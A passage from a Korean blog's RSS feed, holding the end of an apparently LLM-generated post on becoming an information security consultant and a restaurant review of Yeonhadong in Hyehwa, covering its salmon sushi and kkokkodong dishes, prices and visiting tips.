&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;정보보안 산업의 성장 가능성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 산업은 IT 기술의 발전과 함께 빠르게 성장하고 있습니다. 클라우드 컴퓨팅, IoT, AI 등의 기술이 발전함에 따라 정보보안의 중요성은 더욱 커지고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;화이트해커와의 협업 중요성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화이트해커는 정보보안 컨설턴트와 협력하여 조직의 보안 수준을 향상시키는 데 중요한 역할을 합니다. 이들은 시스템의 취약점을 찾아내고, 이를 해결하기 위한 방안을 제시합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;지속적인 학습과 자기 개발의 필요성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 분야는 빠르게 변화하고 있습니다. 따라서 정보보안 컨설턴트는 지속적으로 학습하고, 자기 개발을 통해 최신 기술과 동향을 따라가야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;마치며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트는 현대 사회에서 필수적인 역할을 수행하는 직업입니다. 이들은 조직의 데이터를 보호하고, 사이버 위협으로부터 안전한 환경을 구축하는 데 중요한 기여를 합니다. 정보보안 컨설턴트가 되고자 하는 분들은 이번 글을 참고하여 체계적으로 준비하시길 바랍니다. &lt;b&gt;지금 바로 정보보안 전문가로서의 첫걸음을 내딛어 보세요!&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;  &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;DISCLAIMER&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;이 글은 LLM(Large Language Model)을 통해 생성된 글이며, Google 검색 최적화(SEO-Optimization) 분석 및 동향 파악을 목적으로 작성되었습니다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://developers.google.com/search/docs/fundamentals/seo-starter-guide?hl=ko&quot;&gt;https://developers.google.com/search/docs/fundamentals/seo-starter-guide?hl=ko&lt;/a&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jobkorea.co.kr/goodjob/tip/view?News_No=19122&amp;amp;schCtgr=0&quot;&gt;[직업사전]-정보보안전문가-업무,-연봉,-전망&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brunch.co.kr/@hanuuri/171&quot;&gt;정보보안-전문가란?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.boannews.com/media/view.asp?idx=133588&quot;&gt;보안뉴스&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Side Project/  LLM Optimized</category>
      <category>정보보보안 전문가 되는법</category>
      <category>정보보안 컨설턴트</category>
      <category>정보보안전문가</category>
      <category>정보보안전문가 업무</category>
      <category>정보보호 전문가</category>
      <category>화이트해커</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/288</guid>
      <comments>https://gomguk.tistory.com/288#entry288comment</comments>
      <pubDate>Sat, 30 Nov 2024 00:21:37 +0900</pubDate>
    </item>
    <item>
      <title>혜화 맛집 연하동 | 대왕연어초밥부터 꼬꼬동까지 인기메뉴 후기</title>
      <link>https://gomguk.tistory.com/292</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xDoNk/btsKZ3J43Gj/xyYigziqday79o3Uxn3vck/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xDoNk/btsKZ3J43Gj/xyYigziqday79o3Uxn3vck/img.jpg&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;5712&quot; data-is-animation=&quot;false&quot; data-filename=&quot;IMG_3584.jpeg&quot; style=&quot;width: 49.4396%; margin-right: 10px;&quot; data-widthpercent=&quot;50.02&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xDoNk/btsKZ3J43Gj/xyYigziqday79o3Uxn3vck/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxDoNk%2FbtsKZ3J43Gj%2FxyYigziqday79o3Uxn3vck%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4284&quot; height=&quot;5712&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wYxni/btsKYyYTsVM/c1EFtMxTnJDEx7YoCfJMg0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wYxni/btsKYyYTsVM/c1EFtMxTnJDEx7YoCfJMg0/img.jpg&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;1572&quot; data-filename=&quot;IMG_3570.JPG&quot; style=&quot;width: 49.3976%;&quot; data-widthpercent=&quot;49.98&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wYxni/btsKYyYTsVM/c1EFtMxTnJDEx7YoCfJMg0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwYxni%2FbtsKYyYTsVM%2Fc1EFtMxTnJDEx7YoCfJMg0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;1572&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;연하동 외부 전경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혜화역 근처에서 맛있는 식사를 고민 중이라면, 연하동을 추천합니다. 이곳은 대학로의 중심부에 위치해 있어 접근성이 뛰어나며, 다양한 메뉴와 깔끔한 분위기로 연인과의 데이트나 친구들과의 모임에 적합한 장소입니다. 특히 대왕연어초밥과 꼬꼬동은 이곳의 대표 메뉴로, 많은 방문객들에게 사랑받고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;iframe mapdata=&quot;addr=%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%EB%AA%85%EB%A5%9C4%EA%B0%80%20171&amp;amp;addtype=1&amp;amp;confirmid=&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A499845%2C%22mapCenterY%22%3A1134138%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%7B%22markerType%22%3A%22standPlace%22%2C%22coordinate%22%3A%22wcongnamul%22%2C%22x%22%3A499845%2C%22y%22%3A1134143%2C%22clickable%22%3Atrue%2C%22draggable%22%3Atrue%2C%22icon%22%3A%7B%22width%22%3A35%2C%22height%22%3A56%2C%22offsetX%22%3A17%2C%22offsetY%22%3A56%2C%22src%22%3A%22%26%23x2F%3B%26%23x2F%3Bt1.daumcdn.net%26%23x2F%3Blocalimg%26%23x2F%3Blocalimages%26%23x2F%3B07%26%23x2F%3B2012%26%23x2F%3Battach%26%23x2F%3Bpc_img%26%23x2F%3Bico_marker2_150331.png%22%7D%2C%22content%22%3A%22%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%EB%AA%85%EB%A5%9C4%EA%B0%80%20171%22%2C%22confirmid%22%3A%22%22%7D%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=499845&amp;amp;mapY=1134138&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=1111065000&amp;amp;tel=&amp;amp;title=%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%EB%AA%85%EB%A5%9C4%EA%B0%80%20171&quot; src=&quot;/proxy/plusmapViewer.php?id=maps_1732710445498&quot; id=&quot;maps_1732710445498&quot; width=&quot;540px&quot; height=&quot;350px&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; data-ke-type=&quot;map&quot; data-maps-data=&quot;addr=%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%EB%AA%85%EB%A5%9C4%EA%B0%80%20171&amp;amp;addtype=1&amp;amp;confirmid=&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A499845%2C%22mapCenterY%22%3A1134138%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%7B%22markerType%22%3A%22standPlace%22%2C%22coordinate%22%3A%22wcongnamul%22%2C%22x%22%3A499845%2C%22y%22%3A1134143%2C%22clickable%22%3Atrue%2C%22draggable%22%3Atrue%2C%22icon%22%3A%7B%22width%22%3A35%2C%22height%22%3A56%2C%22offsetX%22%3A17%2C%22offsetY%22%3A56%2C%22src%22%3A%22%26%23x2F%3B%26%23x2F%3Bt1.daumcdn.net%26%23x2F%3Blocalimg%26%23x2F%3Blocalimages%26%23x2F%3B07%26%23x2F%3B2012%26%23x2F%3Battach%26%23x2F%3Bpc_img%26%23x2F%3Bico_marker2_150331.png%22%7D%2C%22content%22%3A%22%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%EB%AA%85%EB%A5%9C4%EA%B0%80%20171%22%2C%22confirmid%22%3A%22%22%7D%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=499845&amp;amp;mapY=1134138&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=1111065000&amp;amp;tel=&amp;amp;title=%EC%84%9C%EC%9A%B8%20%EC%A2%85%EB%A1%9C%EA%B5%AC%20%EB%AA%85%EB%A5%9C4%EA%B0%80%20171&quot; data-maps-thumbnail=&quot;https://ssl.daumcdn.net/map3/staticmap/image?center=499845%2C1134138&amp;amp;lv=4&amp;amp;size=540x350&amp;amp;srs=WCONGNAMUL&amp;amp;markers=symbol%3Asc_marker%7Clocation%3A499845%2C1134143&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;혜화 맛집 연하동 소개&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혜화역에서 도보로 약 5분 거리에 위치한 연하동은 대학로의 활기찬 분위기 속에서도 아늑함을 느낄 수 있는 맛집입니다. 연하동은 연남동에서 시작된 프랜차이즈로, 대학로점은 깔끔하고 모던한 인테리어로 꾸며져 있어 편안한 식사 시간을 제공합니다. 이곳은 특히 연극 관람 후 방문하기 좋은 장소로, 다양한 메뉴와 합리적인 가격으로 많은 사람들에게 사랑받고 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3582.jpeg&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;5712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I4KlX/btsKZdUfHSC/F5N4QiztwW86n1HIS5Kk9K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I4KlX/btsKZdUfHSC/F5N4QiztwW86n1HIS5Kk9K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I4KlX/btsKZdUfHSC/F5N4QiztwW86n1HIS5Kk9K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI4KlX%2FbtsKZdUfHSC%2FF5N4QiztwW86n1HIS5Kk9K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4284&quot; height=&quot;5712&quot; data-filename=&quot;IMG_3582.jpeg&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;5712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3575.jpeg&quot; data-origin-width=&quot;5712&quot; data-origin-height=&quot;4284&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3VwPd/btsKZNAIfwr/XO44HhwGbzr4HSBQY7zNS0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3VwPd/btsKZNAIfwr/XO44HhwGbzr4HSBQY7zNS0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3VwPd/btsKZNAIfwr/XO44HhwGbzr4HSBQY7zNS0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3VwPd%2FbtsKZNAIfwr%2FXO44HhwGbzr4HSBQY7zNS0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;5712&quot; height=&quot;4284&quot; data-filename=&quot;IMG_3575.jpeg&quot; data-origin-width=&quot;5712&quot; data-origin-height=&quot;4284&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연하동은 메뉴의 다양성뿐만 아니라 신선한 재료와 정성스러운 조리로도 유명합니다. 연인과의 특별한 데이트나 친구들과의 즐거운 모임을 계획 중이라면, 연하동은 훌륭한 선택이 될 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연하동 인기 메뉴: 대왕연어초밥&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_IMG_3571.JPG&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;881&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pBzgE/btsK0mvRnr1/ZTnmSef1MT4f17Q9uN4SZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pBzgE/btsK0mvRnr1/ZTnmSef1MT4f17Q9uN4SZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pBzgE/btsK0mvRnr1/ZTnmSef1MT4f17Q9uN4SZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpBzgE%2FbtsK0mvRnr1%2FZTnmSef1MT4f17Q9uN4SZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;881&quot; data-filename=&quot;edited_IMG_3571.JPG&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;881&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;대왕연어초밥의 특징&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연하동의 대표 메뉴인 대왕연어초밥은 이름 그대로 크고 신선한 연어가 특징입니다. 일반적인 연어초밥보다 두 배 이상의 크기를 자랑하며, 입안 가득 퍼지는 연어의 풍미가 일품입니다. 연어의 신선함과 부드러운 식감은 물론, 밥과 식초의 조화가 완벽해 한 입만으로도 만족감을 줍니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;대왕연어초밥의 가격과 양&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대왕연어초밥은 4조각 기준 13,000원, 6조각 기준 19,800원으로 제공됩니다. 가격 대비 푸짐한 양과 고급스러운 맛으로 가성비가 뛰어나며, 연어를 좋아하는 분들에게는 더할 나위 없는 선택입니다. 특히 연어의 크기와 신선도는 다른 곳과 비교할 수 없을 정도로 뛰어나, 많은 고객들이 이 메뉴를 위해 연하동을 찾습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연하동 인기 메뉴: 꼬꼬동&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_IMG_3573.jpeg&quot; data-origin-width=&quot;2250&quot; data-origin-height=&quot;2437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LG9F6/btsKZbPEpvG/3BxLwZNOt9ZAEvJqz1nZ7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LG9F6/btsKZbPEpvG/3BxLwZNOt9ZAEvJqz1nZ7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LG9F6/btsKZbPEpvG/3BxLwZNOt9ZAEvJqz1nZ7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLG9F6%2FbtsKZbPEpvG%2F3BxLwZNOt9ZAEvJqz1nZ7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2250&quot; height=&quot;2437&quot; data-filename=&quot;edited_IMG_3573.jpeg&quot; data-origin-width=&quot;2250&quot; data-origin-height=&quot;2437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;꼬꼬동의 특징&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꼬꼬동은 바삭한 치킨 가라아게와 달콤한 소스가 어우러진 덮밥 메뉴로, 남녀노소 누구나 좋아할 만한 맛을 자랑합니다. 꽈리고추 튀김과 함께 제공되는 꼬꼬동은 매콤달콤한 소스와 잘 튀겨진 치킨이 조화를 이루며, 한 끼 식사로도 충분히 만족스러운 양을 제공합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;꼬꼬동의 가격과 맛&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꼬꼬동은 12,500원으로 제공되며, 대왕꼬꼬동은 20,500원으로 더 푸짐한 양을 즐길 수 있습니다. 치킨의 바삭함과 소스의 달콤함이 어우러져 밥과 함께 먹으면 더욱 맛있습니다. 또한, 밥과 소스는 리필이 가능해 양이 부족할 걱정 없이 배부르게 즐길 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연하동의 분위기와 서비스&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;아늑한 분위기&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연하동은 깔끔하고 세련된 인테리어로 꾸며져 있어 편안한 식사 시간을 제공합니다. 테이블 간 간격이 적당히 유지되어 있어 프라이버시를 보호하며, 조용하고 아늑한 분위기 속에서 식사를 즐길 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;친절한 서비스&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직원들의 친절한 응대와 빠른 서비스는 연하동의 또 다른 장점입니다. 고객의 요청에 신속히 대응하며, 음식의 맛뿐만 아니라 서비스에서도 높은 만족도를 제공합니다. 이러한 세심한 배려는 연하동을 다시 찾고 싶게 만드는 이유 중 하나입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연하동 방문 팁과 추천 코스&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;방문 시간 추천&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연하동은 연중무휴이지만, 점심과 저녁 시간대에 특히 붐비므로 방문 전 예약을 추천합니다. 예약은 테이블링 앱을 통해 간편하게 진행할 수 있으며, 대기 시간을 줄일 수 있어 더욱 편리합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3569.PNG&quot; data-origin-width=&quot;1179&quot; data-origin-height=&quot;2556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bM589P/btsKZMhuCIJ/sK799AD4fiQWQ9cSLuOmtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bM589P/btsKZMhuCIJ/sK799AD4fiQWQ9cSLuOmtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bM589P/btsKZMhuCIJ/sK799AD4fiQWQ9cSLuOmtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbM589P%2FbtsKZMhuCIJ%2FsK799AD4fiQWQ9cSLuOmtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;225&quot; height=&quot;488&quot; data-filename=&quot;IMG_3569.PNG&quot; data-origin-width=&quot;1179&quot; data-origin-height=&quot;2556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;주변 데이트 코스&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연하동 방문 후 혜화역 근처의 연극 공연장이나 아늑한 카페를 함께 방문하면 완벽한 데이트 코스를 완성할 수 있습니다. 대학로의 활기찬 분위기와 함께 연하동에서의 맛있는 식사는 잊지 못할 추억을 만들어 줄 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혜화 맛집 연하동은 대왕연어초밥과 꼬꼬동을 비롯한 다양한 메뉴와 깔끔한 분위기로 많은 사람들에게 사랑받고 있습니다. 연인과의 데이트, 친구들과의 모임, 또는 혼자만의 여유로운 식사 시간까지, 연하동은 모든 상황에 적합한 장소입니다. 지금 바로 연하동을 방문해보세요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;참고자료&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.naver.com/creatorkim/223369706007?viewType=pc&quot;&gt;혜화맛집-연하동-연어와-꼬꼬동의-환상적인-조화&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.naver.com/wunderbinnie/223443201873&quot;&gt;[대학로/혜화]-연남동-맛집이-대학로에?-연하동-대학로점-솔직-후기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://triple.guide/restaurants/b7beb0c5-4a7e-4258-8fca-bcaff80158e0&quot;&gt;연하동-대학로-점&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.diningcode.com/profile.php?rid=Yj1vS6EZVBVB&quot;&gt;연하동-대학로점-대학로-연어,-대왕연어초밥-맛집-|-다이닝코드,-빅데이터-맛집검색&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
